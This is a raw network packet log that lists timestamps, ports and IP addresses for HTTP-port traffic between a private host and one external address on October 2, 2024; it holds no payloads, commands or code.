Oct 2, 2024 05:20:08.411035061 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.411036968 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.411041021 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.411046982 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.411071062 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.411076069 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.411108971 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.411346912 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.411359072 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.411369085 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.411432981 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.414205074 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.414285898 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.414320946 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.414381027 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.414405107 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.414443970 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.414462090 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.414525986 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.414550066 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.414599895 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.414625883 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.414697886 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.414731979 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.414753914 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.414791107 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.414840937 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.414869070 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.414920092 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.414953947 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.414974928 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.415007114 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415040970 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415060997 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.415108919 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415143013 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415163040 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.415195942 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415241003 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.415266991 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415296078 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415328979 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415350914 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.415405035 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415452957 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.415479898 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415532112 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415580034 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.415606976 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415641069 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415673018 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415693998 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.415726900 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415760994 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415782928 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.415816069 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415848017 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415868044 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.415899992 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415931940 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.415954113 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.415985107 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.416018009 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.416038036 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.416069984 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.416101933 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.416124105 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.416155100 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.416202068 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.416215897 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.416248083 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.416280985 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.416301012 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.416331053 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.416366100 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.416388988 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.416420937 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.416450977 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.416471004 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.416503906 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.416558027 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.528882980 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.533869982 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702018976 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702111959 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702146053 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702183962 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702208042 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702239990 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702280998 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702325106 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702341080 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702370882 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702392101 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702426910 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702446938 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702474117 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702498913 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702545881 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702572107 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702604055 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702626944 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702653885 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702678919 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702714920 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702738047 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702769041 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702789068 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702821016 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702841997 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702867985 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702893019 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702939034 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.702971935 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.702992916 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703011036 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703052998 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703067064 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703098059 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703120947 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703155041 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703171968 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703205109 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703224897 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703252077 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703277111 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703310013 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703330994 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703353882 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703382015 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703439951 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703502893 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703536034 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703556061 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703579903 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703608036 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703639984 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703665018 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703691959 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703716993 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703762054 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703762054 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703792095 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703804970 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703835964 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703852892 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703887939 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.703910112 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703931093 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.703958988 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704004049 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704031944 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704062939 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704082966 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704106092 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704133987 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704168081 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704190016 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704219103 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704245090 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704277039 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704298019 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704323053 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704349995 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704384089 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704406977 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704438925 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704461098 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704493046 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704514980 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704539061 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704566002 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704611063 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704638958 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704688072 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704701900 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704741001 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704767942 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704801083 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704823017 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704850912 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704875946 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704909086 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.704927921 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704952955 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.704981089 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705013037 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705035925 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705066919 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705085993 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705112934 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705137968 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705178022 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705213070 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705213070 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705262899 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705296993 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705318928 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705343008 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705370903 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705404043 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705424070 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705449104 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705482960 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705516100 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705539942 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705563068 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705609083 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705653906 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705679893 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705712080 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705732107 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705755949 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705782890 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705816031 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705836058 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705861092 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705887079 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705929995 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.705954075 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.705986977 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706011057 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706048012 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706063986 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706095934 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706115961 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706144094 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706168890 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706201077 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706221104 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706247091 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706271887 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706315994 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706331968 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706356049 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706384897 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706418037 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706437111 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706463099 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706489086 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706521034 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706542015 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706568003 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706593037 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706626892 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706638098 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706669092 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706688881 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706718922 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706738949 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706768990 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706793070 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706834078 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706847906 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706876993 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706899881 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706932068 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.706950903 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.706975937 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707003117 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707036018 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707055092 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707078934 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707107067 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707139015 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707159996 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707190990 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707236052 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707252026 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707252026 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707276106 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707314014 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707349062 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707374096 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707420111 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707464933 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707496881 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707520008 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707551956 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707571983 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707603931 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707624912 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707652092 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707679033 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707711935 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707730055 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707756996 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707782984 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707813978 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707834005 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707860947 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707885027 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707916975 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.707943916 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707961082 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.707993031 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.708003044 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.708034039 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.708055019 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.708079100 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.708112001 CEST	80	49780	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.708131075 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.708157063 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.718122959 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.718175888 CEST	49780	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.725529909 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.730418921 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:08.730492115 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.730613947 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:08.735388041 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.334059954 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.334079981 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.334090948 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.334104061 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.334117889 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.334116936 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.334131956 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.334142923 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.334155083 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.334161997 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.334161997 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.334168911 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.334178925 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.334208012 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.334223986 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.334260941 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.339083910 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.339122057 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.339135885 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.339167118 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:09.339229107 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.339241028 CEST	80	49781	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:09.339272022 CEST	49781	80	192.168.2.4	46.8.231.109
